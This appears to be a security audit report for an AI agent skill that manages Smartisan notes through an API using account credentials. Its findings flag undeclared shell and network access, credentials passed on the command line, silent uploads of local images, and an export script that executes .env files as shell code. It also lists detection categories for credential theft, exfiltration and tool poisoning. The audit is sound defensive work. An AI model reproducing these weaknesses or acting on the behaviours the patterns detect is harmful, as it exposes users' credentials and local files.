锤子便签 API

• Outcome: Review
• Latest audit: Aug 1, 2026 · 1:36 PM UTC
• Version: 0.3.1

Overview

This skill is mostly transparent about managing notes with user credentials, but one export script executes `.env` files as shell code, which is a real local safety concern.

Review before installing. Use only with a notes service you control or trust, avoid passing passwords on the command line, keep env files private, and do not use the PNG export script with any `.env` file you did not create and inspect. Confirm any delete, permanent delete, update, or bulk export action before running it.

SkillSpector

By NVIDIA

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Trigger Abuse: Overly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
• MCP Least Privilege: Underdeclared Capability, Wildcard Permission, Missing Permission Declaration
• MCP Tool Poisoning: Hidden Instructions, Unicode Deception, Parameter Description Injection

Findings (8)

Lp3

Medium

• Category: MCP Least Privilege
• Confidence: 91% confidence
• Finding: The skill instructs use of file reads, network access, and shell execution but does not declare those capabilities. Undeclared powerful capabilities reduce transparency and policy enforcement, making it easier for a caller to invoke operations such as local file access and remote requests without an explicit permission boundary. In this context the skill also handles credentials and can modify remote notes, which increases the risk of unexpected side effects.

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 82% confidence
• Finding: The documented behavior does not cleanly match the actual capabilities: it references broad account-management functions while also describing local image upload and content rewriting behavior that may not be obvious to users. This mismatch can mislead operators about what data leaves the system and what actions are really supported, increasing the chance of unsafe use, over-trust, or accidental exfiltration of local files embedded in Markdown.

Vague Triggers

Medium

• Confidence: 84% confidence
• Finding: The manifest advertises broad note-management capabilities but does not clearly constrain when the skill should be invoked or what operations require explicit user confirmation. Because this skill can authenticate with account credentials and perform destructive actions such as update and delete, vague trigger scope increases the chance of accidental activation, overbroad delegation, or unintended data modification.

Missing User Warnings

Medium

• Confidence: 91% confidence
• Finding: The manifest omits any user-facing warning that the skill handles account credentials and can read, modify, delete, and export note content. This is dangerous because users may invoke the skill without understanding that highly sensitive data and irreversible account actions are involved, increasing the risk of credential exposure, privacy loss, and unintended destructive changes.

Missing User Warnings

Medium

• Confidence: 94% confidence
• Finding: The documentation explicitly recommends supplying account credentials through command-line flags, environment variables, or .env files, but does not warn that command-line arguments may be exposed through shell history, process listings, logs, and orchestration metadata. In a skill that manages a user's full notes workspace and supports superadmin credentials, this increases the chance of credential disclosure and subsequent unauthorized access to all workspace data.

Missing User Warnings

Medium

• Confidence: 88% confidence
• Finding: When a user supplies a Markdown file, the script automatically scans for local image references, reads those files, and uploads them to a remote API endpoint. This can unintentionally exfiltrate sensitive local content embedded via image paths, especially because the behavior is implicit and the endpoint is caller-configurable.

Missing User Warnings

Medium

• Confidence: 98% confidence
• Finding: The script uses source on a user-provided or local .env file, which executes arbitrary shell code in the current process rather than safely parsing key-value pairs. If the .env file is malicious or tampered with, this leads to arbitrary code execution with the privileges of the script runner.

Credential Access

High

• Category: Privilege Escalation

Content

---
name: notes-export-api
description: 通过用户名或邮箱与密码连接调用方明确配置的锤子便签服务，管理当前账号的云端工作区并导出内容。支持便签列表与全文查询、新增、更新 Markdown、软删除、回收站恢复、显式永久删除、文件夹分类、星标、置顶、生成可粘贴到微信公众号的富文本 HTML，以及把 Markdown 或本地 .md 文件导出为带图的锤子便签长图 PNG；导出支持 default 暖白纸感、smartisan-dark 暗黑主题和自定义底部文案。用户提到锤子便签、用账号密码增删改查便签、便签查询或自动维护、分类、收藏、置顶、公众号复制格式、Markdown 转便签图片或批量长图导出时使用。服务地址没有默认值，调用方必须通过 .env 或命令行明确提供。
---

# 锤子便签 API

• Confidence: 88% confidence
• Finding: .env

VirusTotal

65/65 vendors flagged this skill as clean.

Static analysis

Detected: suspicious.env_credential_access

Environment variable access combined with network send.

Critical

• Code: suspicious.env_credential_access
• Location: scripts/notes_api.mjs:150